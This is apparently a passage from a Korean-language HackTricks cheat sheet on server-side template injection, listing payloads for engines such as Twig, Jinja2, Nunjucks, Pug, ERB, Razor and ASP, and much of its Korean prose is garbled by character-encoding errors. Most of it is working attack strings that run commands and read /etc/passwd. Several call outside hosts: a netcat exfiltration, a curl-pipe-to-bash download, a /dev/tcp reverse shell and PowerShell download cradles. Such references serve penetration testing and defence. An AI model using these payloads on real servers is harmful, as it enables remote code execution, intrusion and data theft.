- Smarty ์น์ ์์ https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty
Twig (PHP)
{{7*7}} = 49${7*7} = ${7*7}{{7*'7'}} = 49{{1/0}} = Error{{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}
#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}
Twig - ํ ํ๋ฆฟ ํ์
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
์ถ๊ฐ ์ ๋ณด
- https://portswigger.net/research/server-side-template-injection์ Twig ๋ฐ Twig (Sandboxed) ์น์
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig
Plates (PHP)
Plates๋ PHP์ ๋ค์ดํฐ๋ธํ ํ ํ๋ฆฟ ์์ง์ผ๋ก, Twig์์ ์๊ฐ์ ๋ฐ์์ต๋๋ค. ๊ทธ๋ฌ๋ ์๋ก์ด ๋ฌธ๋ฒ์ ๋์ ํ๋ Twig์ ๋ฌ๋ฆฌ, Plates๋ ํ ํ๋ฆฟ์์ ๋ค์ดํฐ๋ธ PHP ์ฝ๋๋ฅผ ํ์ฉํ๋ฏ๋ก PHP ๊ฐ๋ฐ์์๊ฒ ์ง๊ด์ ์ ๋๋ค.
์ปจํธ๋กค๋ฌ:
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
ํ์ด์ง ํ ํ๋ฆฟ:
<?php $this->layout('template', ['title' => 'User Profile']) ?>
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
๋ ์ด์์ ํ ํ๋ฆฟ:
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>
๋ ๋ง์ ์ ๋ณด
PHPlib and HTML_Template_PHPLIB (PHP)
HTML_Template_PHPLIB ๋ PHPlib๊ณผ ๋์ผํ์ง๋ง Pear๋ก ํฌํ ๋์์ต๋๋ค.
authors.tpl
<html>
<head>
<title>{PAGE_TITLE}</title>
</head>
<body>
<table>
<caption>
Authors
</caption>
<thead>
<tr>
<th>Name</th>
<th>Email</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="2">{NUM_AUTHORS}</td>
</tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr>
<td>{AUTHOR_NAME}</td>
<td>{AUTHOR_EMAIL}</td>
</tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>
authors.php
<?php
//we want to display this author list
$authors = array(
'Christian Weiske' => 'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
์ถ๊ฐ ์ ๋ณด
๊ธฐํ PHP
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg
- ์์ธํ ๋ด์ฉ์ https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Jade (NodeJS)
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
์ถ๊ฐ ์ ๋ณด
- https://portswigger.net/research/server-side-template-injection์ Jade ์น์ ์์
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jadeโcodepen
patTemplate (PHP)
patTemplate ์ปดํ์ผํ์ง ์๋ PHP ํ ํ๋ฆฟ ์์ง์ผ๋ก, XML ํ๊ทธ๋ฅผ ์ฌ์ฉํด ๋ฌธ์๋ฅผ ์ฌ๋ฌ ๋ถ๋ถ์ผ๋ก ๋๋๋๋ค.
<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>
์ถ๊ฐ ์ ๋ณด
Handlebars (NodeJS)
Path Traversal (์์ธํ ์ ๋ณด here).
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
- = ์ค๋ฅ
- ${7*7} = ${7*7}
- ์๋ฌด๊ฒ๋ ์์
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
์ถ๊ฐ ์ ๋ณด
JsRender (NodeJS)
| ํ ํ๋ฆฟ | ์ค๋ช |
|---|---|
| ์ถ๋ ฅ์ ํ๊ฐํด ๋ ๋๋ง | |
| HTML ์ธ์ฝ๋ฉ๋ ์ถ๋ ฅ์ ํ๊ฐํด ๋ ๋๋ง | |
| ์ฃผ์ | |
| and | ์ฝ๋ ํ์ฉ (๊ธฐ๋ณธ์ ์ผ๋ก ๋นํ์ฑํ๋จ) |
- = 49
ํด๋ผ์ด์ธํธ ์ธก
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
์๋ฒ ์ธก
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
์ถ๊ฐ ์ ๋ณด
PugJs (NodeJS)
#{7*7} = 49#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
์๋ฒ ์ฌ์ด๋ ๋ ๋ ์์
var pugjs = require("pug")
home = pugjs.render(injected_page)
์ถ๊ฐ ์ ๋ณด
NUNJUCKS (NodeJS)
- {{7*7}} = 49
- {{foo}} = ์ถ๋ ฅ ์์
- #{7*7} = #{7*7}
- {{console.log(1)}} = ์ค๋ฅ
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
)()
}
}
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
)()
}
}
์ถ๊ฐ ์ ๋ณด
NodeJS expression sandboxes (vm2 / isolated-vm)
์ผ๋ถ ์ํฌํ๋ก์ฐ ๋น๋๋ ์ฌ์ฉ์ ์ ์ด ํํ์์ Node ์๋๋ฐ์ค(vm2, isolated-vm) ๋ด๋ถ์์ ํ๊ฐํ์ง๋ง, ํํ์ ์ปจํ
์คํธ๊ฐ ์ฌ์ ํ this.process.mainModule.require๋ฅผ ๋
ธ์ถํ๋ค. ์ด๋ฅผ ํตํด ๊ณต๊ฒฉ์๋ child_process๋ฅผ ๋ก๋ํ์ฌ ์ ์ฉ โExecute Commandโ ๋
ธ๋๊ฐ ๋นํ์ฑํ๋์ด ์์ด๋ OS ๋ช
๋ น์ ์คํํ ์ ์๋ค:
={{ (function() {
const require = this.process.mainModule.require;
const execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}
๊ธฐํ NodeJS
 (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg
 (1) (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg
- ์์ธํ ์ ๋ณด: https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
ERB (Ruby)
{{7*7}} = {{7*7}}${7*7} = ${7*7}<%= 7*7 %> = 49<%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
์ถ๊ฐ ์ ๋ณด
Slim (Ruby)
{ 7 * 7 }
{ %x|env| }
์ถ๊ฐ ์ ๋ณด
๊ธฐํ Ruby
.png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg
.png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg
- ์์ธํ ์ ๋ณด: https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Python
๋ค์ ํ์ด์ง๋ฅผ ํ์ธํ์ฌ python์์ arbitrary command execution bypassing sandboxes์ ๋ํ ํธ๋ฆญ์ ๋ฐฐ์ฐ์ธ์:
Tornado (Python)
{{7*7}} = 49${7*7} = ${7*7}{{foobar}} = Error{{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}
{% import os %}
{% endraw %}
{{os.system('whoami')}}
{{os.system('whoami')}}
์ถ๊ฐ ์ ๋ณด
Jinja2 (Python)
Jinja2๋ Python์ฉ์ ๊ธฐ๋ฅ์ด ํ๋ถํ ํ ํ๋ฆฟ ์์ง์ ๋๋ค. ์์ ํ unicode ์ง์์ ์ ๊ณตํ๋ฉฐ, ์ ํ์ ์ธ ํตํฉ๋ sandboxed ์คํ ํ๊ฒฝ์ ๊ฐ์ถ๊ณ ์๊ณ , ๋๋ฆฌ ์ฌ์ฉ๋๋ฉฐ BSD ๋ผ์ด์ ์ค์ ๋๋ค.
{{7*7}} = Error${7*7} = ${7*7}{{foobar}} Nothing{{4*4}}[[5*5]]{{7*'7'}} = 7777777{{config}}{{config.items()}}{{settings.SECRET_KEY}}{{settings}}<div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}
{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
Jinja2 - ํ ํ๋ฆฟ ํ์
{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}
RCE์ ์์กดํ์ง ์๋ __builtins__:
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
Jinja๋ฅผ ์ ์ฉํ๋ ๋ฐฉ๋ฒ์ ๋ํ ์์ธํ ์ ๋ณด:
๋ค๋ฅธ payloads๋ https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
Mako (Python)
<%
import os
x=os.popen('id').read()
%>
${x}
์ถ๊ฐ ์ ๋ณด
๊ธฐํ Python
 (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg
 (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg
- ์์ธํ ์ ๋ณด: https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Razor (.Net)
@(2+2) <= Success@() <= Success@("{{code}}") <= Success@ <=Success@{} <= ERROR!@{ <= ERRROR!@(1+2)@( //C#Code )@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");
The .NET System.Diagnostics.Process.Start method can be used to start any process on the server and thus create a webshell. You can find a vulnerable webapp example in https://github.com/cnotin/RazorVulnerableApp
์ถ๊ฐ ์ ๋ณด
- https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/
- https://www.schtech.co.uk/razor-pages-ssti-rce/
ASP
<%= 7*7 %>= 49<%= "foo" %>= foo<%= foo %>= Nothing<%= response.write(date()) %>= <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
์ถ๊ฐ ์ ๋ณด
.Net ์ ํ ์ฐํ
.NET Reflection ๋ฉ์ปค๋์ฆ์ ๋ธ๋๋ฆฌ์คํธ๋ฅผ ์ฐํํ๊ฑฐ๋ ์ด์ ๋ธ๋ฆฌ์ ํด๋์ค๊ฐ ์์ ๋ ์ด๋ฅผ ์ฐํํ๋ ๋ฐ ์ฌ์ฉ๋ ์ ์์ต๋๋ค. DLL์ ๋ฐํ์์ ๋ก๋๋ ์ ์์ผ๋ฉฐ ๊ธฐ๋ณธ ๊ฐ์ฒด์์ ๋ฉ์๋์ ์์ฑ์ ์ ๊ทผํ ์ ์์ต๋๋ค.
DLL์ ๋ค์๊ณผ ๊ฐ์ด ๋ก๋ํ ์ ์์ต๋๋ค:
{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))}- ํ์ผ์์คํ ์์.{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])}- ์์ฒญ์์ ์ง์ .
์ ์ฒด ๋ช ๋ น ์คํ:
{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}
์ถ๊ฐ ์ ๋ณด
Mojolicious (Perl)
๋น๋ก perl์ด์ง๋ง Ruby์ ERB์ ๊ฐ์ ํ๊ทธ๋ฅผ ์ฌ์ฉํฉ๋๋ค.
<%= 7*7 %> = 49<%= foobar %> = Error
<%= perl code %>
<% perl code %>
SSTI in GO
In Go์ template ์์ง์์๋, ์ฌ์ฉ ์ฌ๋ถ๋ฅผ ํ์ธํ๊ธฐ ์ํด ๋ค์๊ณผ ๊ฐ์ ํ์ด๋ก๋๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค:
{{ . }}: ๋ฐ์ดํฐ ๊ตฌ์กฐ ์ ๋ ฅ์ ํ์ํฉ๋๋ค. ์๋ฅผ ๋ค์ด,Password์์ฑ์ ๊ฐ์ง ๊ฐ์ฒด๊ฐ ์ ๋ฌ๋๋ฉด{{ .Password }}๋ก ๋ ธ์ถ๋ ์ ์์ต๋๋ค.{{printf "%s" "ssti" }}: ๋ฌธ์์ด โsstiโ๋ฅผ ์ถ๋ ฅํด์ผ ํฉ๋๋ค.{{html "ssti"}},{{js "ssti"}}: ์ด ํ์ด๋ก๋๋ค์ โhtmlโ์ด๋ โjsโ๋ฅผ ๋ง๋ถ์ด์ง ์๊ณ โsstiโ๋ฅผ ๋ฐํํด์ผ ํฉ๋๋ค. ์ถ๊ฐ ์ง์๋ฌธ์ Go ๋ฌธ์ here์์ ํ์ธํ ์ ์์ต๋๋ค.
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg
XSS Exploitation
text/template ํจํค์ง์์๋ ํ์ด๋ก๋๋ฅผ ์ง์ ์ฝ์
ํ๋ฉด XSS๊ฐ ๊ฐ๋จํ ๋ฐ์ํฉ๋๋ค. ๋ฐ๋ฉด html/template ํจํค์ง๋ ์ด๋ฅผ ๋ฐฉ์งํ๊ธฐ ์ํด ์๋ต์ ์ธ์ฝ๋ฉํฉ๋๋ค(์: {{"<script>alert(1)</script>"}}๋ <script>alert(1)</script>๊ฐ ๋ฉ๋๋ค). ๊ทธ๋ผ์๋ ๋ถ๊ตฌํ๊ณ Go์์์ ํ
ํ๋ฆฟ ์ ์์ ํธ์ถ์ ์ด ์ธ์ฝ๋ฉ์ ์ฐํํ ์ ์์ต๋๋ค: {{define โT1โ}}alert(1){{end}} {{template โT1โ}}
vbnet Copy code
RCE Exploitation
RCE ์ต์คํ๋ก์์ html/template๊ณผ text/template ์ฌ์ด์์ ํฌ๊ฒ ๋ค๋ฆ
๋๋ค. text/template ๋ชจ๋์ (โcallโ ๊ฐ์ ์ฌ์ฉํด) ์์์ ๊ณต๊ฐ ํจ์๋ฅผ ์ง์ ํธ์ถํ ์ ์์ง๋ง, html/template์์๋ ํ์ฉ๋์ง ์์ต๋๋ค. ์ด๋ค ๋ชจ๋์ ๋ํ ๋ฌธ์๋ here for html/template ๋ฐ here for text/template์์ ํ์ธํ ์ ์์ต๋๋ค.
Go์์ SSTI๋ฅผ ํตํ RCE์ ๊ฒฝ์ฐ ๊ฐ์ฒด์ ๋ฉ์๋๋ฅผ ํธ์ถํ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด, ์ ๊ณต๋ ๊ฐ์ฒด์ ๋ช
๋ น์ ์คํํ๋ System ๋ฉ์๋๊ฐ ์๋ค๋ฉด {{ .System "ls" }}์ฒ๋ผ ์
์ฉํ ์ ์์ต๋๋ค. ์ด๋ฅผ ์
์ฉํ๋ ค๋ฉด ์ผ๋ฐ์ ์ผ๋ก ์์ค ์ฝ๋๋ฅผ ํ์ธํด์ผ ํฉ๋๋ค. ์์์ ๊ฐ์ด:
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
์ถ๊ฐ ์ ๋ณด
- https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to
- https://www.onsecurity.io/blog/go-ssti-method-research/
LESS (CSS Preprocessor)
LESS๋ ๋ณ์, mixins, functions ๋ฐ ๊ฐ๋ ฅํ @import ์ง์์๋ฅผ ์ถ๊ฐํ๋ ์ธ๊ธฐ ์๋ CSS ์ ์ฒ๋ฆฌ๊ธฐ์
๋๋ค. ์ปดํ์ผ ์ LESS ์์ง์ @import ๋ฌธ์์ ์ฐธ์กฐ๋ ๋ฆฌ์์ค๋ฅผ ๊ฐ์ ธ์ (inline) ์ต์
์ด ์ฌ์ฉ๋ ๋ ํด๋น ๋ด์ฉ์ ๊ฒฐ๊ณผ CSS์ ์ธ๋ผ์ธ์ผ๋ก ํฌํจํฉ๋๋ค.
{{#ref}} ../xs-search/css-injection/less-code-injection.md {{/ref}}
More Exploits
๋๋จธ์ง ํญ๋ชฉ์ https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection ๋ฅผ ํ์ธํ์ธ์. ๋ํ ํฅ๋ฏธ๋ก์ด ํ๊ทธ ์ ๋ณด๋ https://github.com/DiogoMRSilva/websitesVulnerableToSSTI ์์ ์ฐพ์๋ณผ ์ ์์ต๋๋ค.
BlackHat PDF
๊ด๋ จ ๋์๋ง
๋์์ด ๋ ๊ฒ ๊ฐ๋ค๋ฉด ๋ค์์ ์ฝ์ด๋ณด์ธ์:
๋๊ตฌ
- https://github.com/Hackmanit/TInjA
- https://github.com/vladko312/sstimap
- https://github.com/epinna/tplmap
- https://github.com/Hackmanit/template-injection-table
Brute-Force Detection List
Auto_Wordlists/wordlists/ssti.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
์ฐธ๊ณ ์๋ฃ
- Node expression sandbox escape via
process.mainModule.require(n8n PoC) - https://portswigger.net/web-security/server-side-template-injection/exploiting
- https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
- https://portswigger.net/web-security/server-side-template-injection
- 0xdf โ HTB: Editor (XWiki SolrSearch Groovy RCE โ Netdata ndsudo privesc)
- XWiki advisory โ
SolrSearchRSS Groovy RCE (GHSA-rr6p-3pfg-562j / CVE-2025-24893)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


